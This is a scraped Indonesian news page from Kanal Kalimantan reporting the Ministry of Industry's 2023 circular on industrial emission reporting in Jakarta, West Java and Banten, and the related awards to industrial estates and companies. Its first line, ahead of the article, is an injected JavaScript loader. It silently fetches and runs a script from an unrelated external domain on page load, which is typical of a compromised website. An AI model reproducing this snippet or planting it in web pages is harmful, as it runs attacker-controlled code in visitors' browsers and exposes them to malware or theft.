(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Pelaporan Emisi Gas Buang Sektor Industri: Langkah Proaktif Kementerian Perindustrian dalam Meningkatkan Kualitas Udara


KANALKALIMANTAN.COM, JAKARTA Kemarau panjang di kuartal ketiga tahun 2023 telah mengakibatkan penurunan kualitas udara di wilayah Jakarta dan sekitarnya. Dampak buruk ini memberikan gangguan signifikan bagi kesehatan masyarakat, menandakan perlunya upaya percepatan dalam pengendalian emisi gas buang. Sejalan dengan hal tersebut, Kementerian Perindustrian (Kemenperin) mengambil langkah proaktif dengan menerbitkan Surat Edaran Menteri Perindustrian Nomor 2 Tahun 2023 tentang Pelaporan Pengendalian Emisi Gas Buang Sektor Industri di Wilayah Jakarta, Jawa Barat, dan Banten.

Surat Edaran ini bertujuan sebagai landasan dan acuan bagi Perusahaan Industri serta Perusahaan Kawasan Industri di wilayah tersebut dalam melaporkan pengendalian emisi gas buang mereka. Melalui pelaporan yang dilakukan melalui Sistem Informasi Industri Nasional (SIINas), Kemenperin berupaya mengumpulkan data untuk menganalisis dan mengidentifikasi perusahaan-perusahaan yang memiliki dampak signifikan pada emisi gas buang selama proses produksi.

Surat Edaran tersebut berlaku pada 25 Agustus hingga 31 Desember 2023, memberikan kerangka waktu yang ketat bagi perusahaan industri dan kawasan industri untuk memenuhi kewajiban pelaporan. “Perusahaan yang tidak mematuhi kewajiban tersebut akan dikenai sanksi sesuai dengan peraturan perundang-undangan yang berlaku,” ujar Direktur Jenderal Ketahanan, Perwilayahan, dan Akses Industri Internasional Kemenperin, Eko S. A. Cahyanto di Jakarta (29/12).

Perusahaan yang telah mematuhi pengendalian emisi gas buang dan melaporkannya secara berkala melalui portal SIINas pantas mendapatkan apresiasi. “Pada pagelaran Apresiasi Resilience and Sustainable Industry 2023, Kemenperin telah menambahkan Pelaporan Emisi sebagai kategori penghargaan, dan penilaian telah dilakukan terhadap 1.832 perusahaan industri dan kawasan industri di wilayah Banten, Jakarta, dan Jawa Barat,” tambah Eko.

Dalam acara tersebut, kategori pelaporan emisi karbon untuk kawasan industri dimenangkan oleh Kawasan Industri Jababeka (PT Jababeka Infrastruktur), East Jakarta Industrial Park (PT East Jakarta Industrial Park), dan Kawasan Industri Suryacipta (PT Suryacipta Swadaya). Penilaian dilakukan berdasarkan kriteria pelaporan emisi, kevalidan data, kebijakan energi terbarukan, pengelolaan lingkungan, serta luasan lahan.

Sementara itu, untuk kategori pelaporan emisi karbon untuk perusahaan industri, penghargaan diberikan kepada PT Chandra Asri Petrochemical Tbk, PT Yuasa Battery Indonesia, dan PT Sinar Mas Agro Resources and Technology Tbk – Unit Refinery Marunda. Penilaian dilakukan berdasarkan kriteria pelaporan emisi, kevalidan data, industri padat energi, kebijakan energi terbarukan, pengelolaan lingkungan, serta pemenuhan standar industri hijau.

Kemenperin terus memberikan pendampingan kepada sektor industri dan kawasan industri untuk memastikan pemenuhan perusahaan dalam ketentuan dalam menjaga aktivitas industri. Langkah ini sejalan dengan tujuan Kemenperin untuk terus mendukung industri agar dapat menjadi pilar utama dalam memacu roda perekonomian nasional. “Kemenperin tetap mendorong seluruh perusahaan untuk menerapkan praktik industri hijau dan mematuhi standar-standar ramah lingkungan dan berkelanjutan dalam aktivitas mereka,” tutup Eko. Dengan langkah-langkah ini, diharapkan bahwa industri di wilayah tersebut dapat tetap berkontribusi positif pada keberlanjutan dan kesejahteraan masyarakat. (Kanalkalimantan/RLS)

Editor: kk


Risa

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

2 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

3 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

14 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

14 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

14 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

14 jam ago

This website uses cookies.